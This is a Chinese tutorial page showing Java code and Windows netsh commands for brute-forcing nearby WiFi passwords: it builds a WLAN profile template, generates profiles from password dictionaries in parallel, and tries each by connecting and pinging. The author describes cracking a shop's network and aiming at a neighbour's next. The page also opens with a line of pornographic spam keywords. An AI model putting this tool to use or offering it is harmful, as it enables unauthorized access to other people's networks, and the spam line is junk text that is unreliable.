欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Java編程實現(xiàn)暴力破解WIFI密碼的方法分析

 更新時間:2018年12月29日 08:41:40   作者:Joker_Ye  
這篇文章主要介紹了Java編程實現(xiàn)暴力破解WIFI密碼的方法,結(jié)合具體實例形式分析了java暴力破解WiFi密碼的原理、操作步驟、實現(xiàn)技巧與相關(guān)注意事項,需要的朋友可以參考下

本文實例講述了Java編程實現(xiàn)暴力破解WIFI密碼的方法。分享給大家供大家參考,具體如下:

開始進入正題。在網(wǎng)上找了很多wifi破解工具,都是linux平臺下用的,然后還不支持虛擬機裝linux。因為很多筆記本裝虛擬機都識別不了內(nèi)置網(wǎng)卡。所以得把系統(tǒng)刻到U盤,然后用U盤啟動。但是我現(xiàn)在窮得連一條內(nèi)褲都沒有了,哪來的U盤啊。于是就決定自己寫,而且還得用Java寫,寫了我還得在windows上運行。

一、準備工作

首先你得需要一臺能連wifi的電腦,
然后你的電腦得支持Java環(huán)境,
最后你周圍得有無線網(wǎng)絡(luò)。

ok,話不多說,說開擼,老夫就要開擼。于是網(wǎng)上找到了windows下cmd無線網(wǎng)絡(luò)操作的相關(guān)命令。如下:

// 列出所有可用wifi
netsh wlan show networks mode=bssid
// 添加配置文件
netsh wlan add profile filename=FILE_NAME
// 連接wifi
netsh wlan connect name=SSID_NAME
// 導(dǎo)出配置文件
netsh wlan export profile key=clear
// 列出配置文件
netsh wlan show profile
// 刪除配置文件
netsh wlan delete profile name=FILE_NAME
// 列出接口
netsh wlan show interface
// 開啟接口
netsh interface set interface "Interface Name" enabled

首先需要寫配置文件,方便待會使用。首先我們可以看看配置文件張啥樣,導(dǎo)出配置文件看看就知道了。打開命令行,輸入這我這篇文章中,主要會用到前四個命令,其他的命令就當(dāng)給各位做拓展了。

netsh wlan export profile key=clear

就導(dǎo)出了配置文件,注意,這兒的配置文件默認導(dǎo)出在cmd執(zhí)行的當(dāng)前路徑,如下,

我導(dǎo)出的文件就在 C:\Users\Admin 下面,可以看到文件都是wifi.xml方式。如 TP-LINK_5410.xml ,隨便打開一個我們可以看到xml文件的具體內(nèi)容,但是有一些內(nèi)容是我們不需要的,我們需要的是下面這個樣子

<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>SSID_NAME</name>
<SSIDConfig>
  <SSID>
    <name>SSID_NAME</name>
  </SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
  <security>
    <authEncryption>
      <authentication>AUTH_TYPE</authentication>
      <encryption>AES</encryption>
      <useOneX>false</useOneX>
    </authEncryption>
    <sharedKey>
      <keyType>passPhrase</keyType>
      <protected>false</protected>
      <keyMaterial>PASSWORD</keyMaterial>
    </sharedKey>
  </security>
</MSM>
<MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
  <enableRandomization>false</enableRandomization>
</MacRandomization>
</WLANProfile>

二、掃描WIFI

其中 SSID_NAME 是待會我們會用到的wifi名稱, AUTH_TYPE 是wifi的加密方式, PASSWORD 是我們會暴力破解的密碼變量。

OK,背景交代得差不多了,可以開干了。首先掃描附近的WIFI,返回所有WIFI的信息,包括SSID、加密方式、信號強度(信號太弱的,我們就不進行破解了,破解了也沒啥用)。掃描其實就是執(zhí)行一個CMD命令的問題,先封裝一個CMD執(zhí)行器吧。

/**
 * 執(zhí)行器
 *
 * @param cmd   CMD命令
 * @param filePath 需要在哪個目錄下執(zhí)行
 */
private static List<String> execute(String cmd, String filePath) {
  Process process = null;
  List<String> result = new ArrayList<String>();
  try {
    if (filePath != null) {
      process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
    } else {
      process = Runtime.getRuntime().exec(cmd);
    }
    BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
    String line = null;
    while ((line = bReader.readLine()) != null) {
      result.add(line);
    }
  } catch (IOException e) {
    e.printStackTrace();
  }
  return result;
}

/**
 * 列出所有信號較好的ssid
 *
 * @return 所有ssid
 */
public static List<Ssid> listSsid() {
  List<Ssid> ssidList = new ArrayList<Ssid>();
  String cmd = Command.SHOW_NETWORKS;
  List<String> result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    // todo 整合信息
  }
  return ssidList;
}

然后掃描周圍wifi信息,并返回相關(guān)信息

三、生成配置文件

OK,接下來我們就可以開始針對每個不同的SSID生成不同的配置文件了,生成文件整個過程就是根據(jù)每個不同的密碼生成一個配置文件。大概代碼如下

/**
 * 配置文件生成器
 */
public class ProfileGenerator {
  private String ssid = null;
  private String passwrodPath = null;
  private ExecutorService threadPool = Executors.newFixedThreadPool(4);
  public ProfileGenerator(String ssid, String passwrodPath) {
    this.ssid = ssid;
    this.passwrodPath = passwrodPath;
  }
  /**
   * 生成配置文件
   */
  public void genProfile() {
    List<String> passwordList = null;
    int counter = 0;
    outer:
    while (true) {
      int start = counter * Connector.BATH_SIZE;
      int end = (counter + 1) * Connector.BATH_SIZE - 1;
      passwordList = FileUtils.readLine(passwrodPath, start, end);
      if (passwordList != null && passwordList.size() > 0) {
        // 生成配置文件
        for (String password : passwordList) {
          GenThread genThread = new GenThread(ssid, password);
          threadPool.execute(genThread);
        }
      } else {
        break outer;
      }
      counter++;
    }
  }
}
class GenThread implements Runnable {
  private String ssid = null;
  private String password = null;
  GenThread(String ssid, String password) {
    this.ssid = ssid;
    this.password = password;
  }
  public void run() {
    String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);
    profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);
    FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);
  }
}

需要哪些密碼可以自己現(xiàn)在網(wǎng)上找一些字典來跑,建議順序是 常用弱口令 => 字典面 => 隨機密碼(到了隨機密碼這兒,意義也不大了)。這兒給出一個常見弱口令的下載連接 。反正我只用這個弱口令破解過一個WIFI。這兒為了加快文件生成速度,我開啟了多線程。個人實際感受,如果只是幾千到幾萬個的話,其實多線程不多線程,并沒有多大區(qū)別,真正的區(qū)別在于后面嘗試連接的時候。

四、遍歷校驗配置文件

接下來就是最耗時的一步了,一個個密碼去校驗。關(guān)鍵代碼如下

/**
 * 校驗WLAN配置文件是否正確
 * <p>
 * 校驗步驟為:
 * ---step1 添加配置文件
 * ---step3 連接wifi
 * ---step3 ping校驗
 */
public synchronized boolean check(String ssid, String password) {
  System.out.println("check : " + password);
  try {
    String profileName = password + ".xml";
    if (addProfile(profileName)) {
      if (connect(ssid)) {
        Thread.sleep(50);
        if (ping()) {
          return true;
        }
      }
    }
  } catch (InterruptedException e) {
    e.printStackTrace();
  }
  return false;
}
/**
 * 添加配置文件
 *
 * @param profileName 添加配置文件
 */
private static boolean addProfile(String profileName) {
  String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName);
  List<String> result = execute(cmd, Connector.PROFILE_TEMP_PATH);
  if (result != null && result.size() > 0) {
    if (result.get(0).contains("添加到接口")) {
      return true;
    }
  }
  return false;
}
/**
 * 連接wifi
 *
 * @param ssid 添加配置文件
 */
private static boolean connect(String ssid) {
  boolean connected = false;
  String cmd = Command.CONNECT.replace("SSID_NAME", ssid);
  List<String> result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    if (result.get(0).contains("已成功完成")) {
      connected = true;
    }
  }
  return connected;
}
/**
 * ping 校驗
 */
private static boolean ping() {
  boolean pinged = false;
  String cmd = "ping " + Connector.PING_DOMAIN;
  List<String> result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    for (String item : result) {
      if (item.contains("來自")) {
        pinged = true;
        break;
      }
    }
  }
  return pinged;
}

兩點釋疑:

1. 為什么需要sleep(50)? 因為在連接后,電腦沒有立即反應(yīng)過來,此時去ping的話,就算密碼正確,都會ping不成功。所以需要sleep。我破解的時候sleep(1000)的,還沒測試50行不行。

2. 為什么需要ping網(wǎng)站? 因為在第二步連接的時候,不管有沒有連接成功,都會出現(xiàn) ‘已成功完成xx連接' 的字樣。所以沒辦法,只有用ping來校驗,不過我相信一定能夠優(yōu)化的。

這一步我開啟了多線程,去驗證,有人說為什么用多線程,明明驗證方法都 synchronized 了,我想說的是,單線程的話,之間總會有間隙的,所以為了壓榨那一點點時間,我用了多線程。

五、連接成功

OK,至此,為師已將畢生功力傳授給你了,你出去就說是三年經(jīng)驗了。呸,說錯了,至此,整個流程大概就已經(jīng)出來了,接下來就run你的程序吧。等待密碼的破解。

我一共在我家周圍瞄上了三個信號看起來還可以的wifi。用這個程序跑了40多秒,開了一個wifi的密碼 12345678。耶成功了終于可以用了。

然后根據(jù)密碼,把自家路由器設(shè)置一個橋接模式。家里處處都有網(wǎng)了。

五、或者放棄

或者,你也可以放棄。愉快地用了一晚上過后,我第二天早上起來發(fā)現(xiàn)網(wǎng)斷了,原來那個網(wǎng)不存在了,但是到了中午又有了。我估計是底商閉店了,就斷電了,網(wǎng)就沒了。

于是想要撬開一個住戶的網(wǎng),跑了兩個看起來信號比較好的網(wǎng)絡(luò),都以失敗告終?。?!因為密碼字典不夠強大。網(wǎng)上下過幾個字典生成器,都不能用。算了吧先湊合用著現(xiàn)在的網(wǎng)絡(luò),等我有空了,寫個字典生成器,來撬開。

更多關(guān)于java相關(guān)內(nèi)容感興趣的讀者可查看本站專題:《Java網(wǎng)絡(luò)編程技巧總結(jié)》、《Java Socket編程技巧總結(jié)》、《Java文件與目錄操作技巧匯總》、《Java數(shù)據(jù)結(jié)構(gòu)與算法教程》、《Java操作DOM節(jié)點技巧總結(jié)》和《Java緩存操作技巧匯總

希望本文所述對大家java程序設(shè)計有所幫助。

相關(guān)文章

  • Java中args參數(shù)數(shù)組的用法說明

    Java中args參數(shù)數(shù)組的用法說明

    這篇文章主要介紹了Java中args參數(shù)數(shù)組的用法說明,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2021-02-02
  • 淺析SpringBoot中的過濾器和攔截器

    淺析SpringBoot中的過濾器和攔截器

    過濾器和攔截器都是為了在請求到達目標處理器(Servlet或Controller)之前或者之后插入自定義的處理邏輯,下面就跟隨小編來看看它們二者的區(qū)別和具體使用吧
    2024-03-03
  • Java中的顯示鎖ReentrantLock使用與原理詳解

    Java中的顯示鎖ReentrantLock使用與原理詳解

    這篇文章主要介紹了Java中的顯示鎖ReentrantLock使用與原理詳解,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-11-11
  • SpringBoot接入支付寶支付的方法步驟

    SpringBoot接入支付寶支付的方法步驟

    這篇文章主要介紹了SpringBoot接入支付寶支付的方法步驟,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-12-12
  • 解決java.net.SocketTimeoutException: Read timed out的問題

    解決java.net.SocketTimeoutException: Read timed out的問題

    這篇文章主要介紹了解決java.net.SocketTimeoutException: Read timed out的問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2021-06-06
  • SpringBoot打War包上傳到阿里云的LINUX服務(wù)器的操作方法

    SpringBoot打War包上傳到阿里云的LINUX服務(wù)器的操作方法

    這篇文章主要介紹了SpringBoot打War包上傳到阿里云的LINUX服務(wù)器,本文通過圖文并茂的形式給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下
    2020-02-02
  • 利用java開發(fā)簡易版掃雷游戲

    利用java開發(fā)簡易版掃雷游戲

    這篇文章主要介紹了利用java開發(fā)一個丐版掃雷游戲,喜歡玩掃雷的小伙伴們一定要試試哦,對正在學(xué)習(xí)java開發(fā)的小伙伴們也有一定幫助,需要的朋友可以參考下
    2021-04-04
  • 如何使用IntelliJ IDEA的HTTP Client進行接口驗證

    如何使用IntelliJ IDEA的HTTP Client進行接口驗證

    這篇文章主要介紹了如何使用IntelliJ IDEA的HTTP Client進行接口驗證,本文給大家分享最新完美解決方案,感興趣的朋友跟隨小編一起看看吧
    2024-06-06
  • Spring的Aware接口實現(xiàn)及執(zhí)行順序詳解

    Spring的Aware接口實現(xiàn)及執(zhí)行順序詳解

    這篇文章主要為大家介紹了Spring的Aware接口實現(xiàn)及執(zhí)行順序詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪
    2022-12-12
  • Mybatis批量操作sql寫法示例(批量新增、更新)

    Mybatis批量操作sql寫法示例(批量新增、更新)

    Mybatis技術(shù),現(xiàn)在是工作中使用頻率越來越高,我們在對數(shù)據(jù)庫進行操作的時候,經(jīng)常會遇到批量操作的需求,這篇文章主要給大家介紹了關(guān)于Mybatis批量操作sql寫法的相關(guān)資料,需要的朋友可以參考下
    2021-05-05

最新評論